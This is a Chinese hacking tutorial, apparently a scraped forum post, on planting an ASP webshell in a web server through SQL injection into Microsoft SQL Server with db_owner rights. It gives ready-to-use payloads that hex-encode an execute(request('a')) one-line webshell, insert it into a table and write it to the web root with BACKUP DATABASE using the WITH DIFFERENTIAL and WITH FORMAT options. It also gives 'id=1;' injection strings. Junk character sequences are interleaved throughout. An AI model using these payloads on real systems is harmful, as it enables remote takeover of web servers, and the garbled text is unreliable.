DB_OWNER权限得到webshell的两点改进:7 w) D5 k( O+ _+ e0 E
8 P1 Q+ O* Y: S8 |4 T
减少备份文件大小,得到可执行的webshell成功率提高不少' ]/ t% Y% J" m: u
一利用差异备份
& l: M' X: L) b& g8 ?. Z. u加一个参数WITH DIFFERENTIAL* X8 d, Y$ ~8 ^6 o( \, s3 K% N0 h
2 j1 l( x. l& N. K: T/ t' Q8 h
1
4 c( T* w! ~( c( k: H2
+ W4 {. I+ ?$ d32 F4 }$ E) [& W& b' b
4
7 R! L+ Z3 \+ j declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s( e! G2 [! X3 K/ g' g
create table [dbo].[xiaolu] ([cmd] [image]);! T9 z r4 W9 p; Q0 i) v. o2 T
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)$ }9 `+ g! E+ t1 G
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL : i, X2 z# M8 \% o1 A
+ A$ i% W/ z! _# ?二利用完全FORMAT
& o/ W/ o- N1 z9 j3 D9 m: ^7 t加一个参数WITH FROMAT
& N; `8 g2 l2 k; m$ |有些页面对数据库要执行几次,而备份又默认是每次都以追加的方式,如果一个注入点对数据库有几次操作,而备份的文件就 几倍的增加,所以: d' T* c: p* V8 T* n4 M5 [# u
' V3 p9 T2 A! q6 v; o& M o5 I* M5 t8 m
1' Q) _9 q6 `. s: w, w
2
2 i v# `6 H9 U+ k! s7 f3 i: f5 m3. s& z8 a T4 x6 |# r' O+ J: G% \
4
$ |% ]- ^6 g. d9 R/ p declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s4 y0 [6 {( V' D
create table [dbo].[xiaolu] ([cmd] [image]);. _8 ~* O' t$ T! F5 j
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)2 I( N6 w( @ J: k0 b! g
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT . c* \. c3 X0 P0 `1 V
' u8 }3 {: P$ V; [0 K7 _& P
总的来说就是那么简单几句,下面以备份数据库model为例子
6 L R6 `/ T6 k: N1
0 J" A9 s1 p: s. q* j4 ~. [" S5 ~% V7 B8 }. Y, B! a. L' D0 @; A
1
( a2 I- `" w' L, K id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>')
- E, u$ r" ^$ V( |9 h. w" K3 B3 O6 t0 l) z; R
2
$ C* s6 B5 h |3 {5 E
5 G( t* ]5 k! J# L4 R14 y' S6 r) P3 @) r
id=1;backup database model to disk='你的路径‘ with differential,format;--
D8 N; J9 L# f8 V& l |